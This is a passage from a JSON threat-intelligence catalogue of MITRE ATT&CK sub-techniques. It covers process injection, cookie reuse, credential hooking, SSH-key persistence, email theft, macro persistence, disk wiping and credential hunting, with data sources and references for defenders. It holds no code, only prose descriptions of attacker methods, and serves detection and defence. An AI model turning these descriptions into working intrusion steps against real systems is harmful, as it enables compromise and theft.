"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605",
"value": "Asynchronous Procedure Call - T1055.004"
},
{
"description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
"meta": {
"external_id": "CAPEC-60",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"Office 365",
"SaaS",
"Google Workspace",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1550/004",
"https://capec.mitre.org/data/definitions/60.html",
"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
"https://wunderwuzzi23.github.io/blog/passthecookie.html"
]
},
"related": [
{
"dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
"type": "subtechnique-of"
}
],
"uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
"value": "Web Session Cookie - T1550.004"
},
{
"description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n",
"meta": {
"external_id": "T1056.004",
"kill_chain": [
"mitre-attack:collection",
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.gmer.net/",
"https://attack.mitre.org/techniques/T1056/004",
"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
"https://github.com/jay/gethooks",
"https://github.com/prekageo/winhook",
"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.exploit-db.com/docs/17802.pdf",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918",
"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
]
},
"related": [
{
"dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2",
"type": "subtechnique-of"
}
],
"uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6",
"value": "Credential API Hooking - T1056.004"
},
{
"description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)",
"meta": {
"external_id": "T1098.004",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1098/004",
"https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability",
"https://www.ssh.com/ssh/authorized_keys/",
"https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
]
},
"related": [
{
"dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
"type": "subtechnique-of"
}
],
"uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4",
"value": "SSH Authorized Keys - T1098.004"
},
{
"description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.005",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/005",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "e49ee9d2-0d98-44ef-85e5-5d3100065744",
"value": "Thread Local Storage - T1055.005"
},
{
"description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.008",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"http://man7.org/linux/man-pages/man2/ptrace.2.html",
"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
"https://attack.mitre.org/techniques/T1055/008",
"https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf",
"https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be",
"https://www.gnu.org/software/acct/"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "ea016b56-ae0e-47fe-967a-cc0ad51af67f",
"value": "Ptrace System Calls - T1055.008"
},
{
"description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1590.006",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/006",
"https://nmap.org/book/firewalls.html"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "6c2957f9-502a-478c-b1dd-d626c0659413",
"value": "Network Security Appliances - T1590.006"
},
{
"description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",
"meta": {
"external_id": "T1059.008",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/008",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "818302b2-d640-477b-bf88-873120ce85c4",
"value": "Network Device CLI - T1059.008"
},
{
"description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)",
"meta": {
"external_id": "T1114.001",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1114/001",
"https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/",
"https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790"
]
},
"related": [
{
"dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
"type": "subtechnique-of"
}
],
"uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004",
"value": "Local Email Collection - T1114.001"
},
{
"description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.",
"meta": {
"external_id": "T1114.002",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Connection Creation"
],
"mitre_platforms": [
"Office 365",
"Windows",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1114/002"
]
},
"related": [
{
"dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
"type": "subtechnique-of"
}
],
"uuid": "b4694861-542c-48ea-9eb1-10d356e7140a",
"value": "Remote Email Collection - T1114.002"
},
{
"description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
"meta": {
"external_id": "T1218.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/001",
"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk",
"https://msdn.microsoft.com/windows/desktop/ms524405",
"https://msdn.microsoft.com/windows/desktop/ms644670",
"https://msitpros.com/?p=3909",
"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
"value": "Compiled HTML File - T1218.001"
},
{
"description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)",
"meta": {
"external_id": "T1114.003",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content"
],
"mitre_platforms": [
"Office 365",
"Windows",
"Google Workspace",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1114/003",
"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
"https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac",
"https://www.us-cert.gov/ncas/alerts/TA18-086A"
]
},
"related": [
{
"dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
"type": "subtechnique-of"
}
],
"uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
"value": "Email Forwarding Rule - T1114.003"
},
{
"description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
"meta": {
"external_id": "T1137.001",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
"https://attack.mitre.org/techniques/T1137/001",
"https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943",
"https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
"https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21",
"value": "Office Template Macros - T1137.001"
},
{
"description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.",
"meta": {
"external_id": "T1614.001",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1614/001",
"https://securelist.com/evolution-of-jsworm-ransomware/102428/",
"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
"https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware",
"https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/"
]
},
"related": [
{
"dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979",
"type": "subtechnique-of"
}
],
"uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
"value": "System Language Discovery - T1614.001"
},
{
"description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
"external_id": "T1561.001",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Access",
"Drive: Drive Modification",
"Driver: Driver Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1561/001",
"https://docs.microsoft.com/sysinternals/downloads/sysmon",
"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
"https://www.justice.gov/opa/press-release/file/1092091/download",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
]
},
"related": [
{
"dest-uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967",
"type": "subtechnique-of"
}
],
"uuid": "fb640c43-aa6b-431e-a961-a279010424ac",
"value": "Disk Content Wipe - T1561.001"
},
{
"description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)",
"meta": {
"external_id": "CAPEC-581",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Firewall: Firewall Enumeration",
"Firewall: Firewall Metadata",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1518/001",
"https://capec.mitre.org/data/definitions/581.html",
"https://expel.io/blog/finding-evil-in-aws/"
]
},
"related": [
{
"dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
"type": "subtechnique-of"
}
],
"uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
"value": "Security Software Discovery - T1518.001"
},
{
"description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
"meta": {
"external_id": "T1591.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1591/001",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
"https://www.sec.gov/edgar/search-and-access"
]
},
"related": [
{
"dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"type": "subtechnique-of"
}
],
"uuid": "ed730f20-0e44-48b9-85f8-0e2adeb76867",
"value": "Determine Physical Locations - T1591.001"
},
{
"description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
"meta": {
"external_id": "CAPEC-639",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
],
"refs": [
"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
"https://attack.mitre.org/techniques/T1552/001",
"https://capec.mitre.org/data/definitions/639.html",
"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48",
"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/",
"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
"value": "Credentials In Files - T1552.001"
},
{
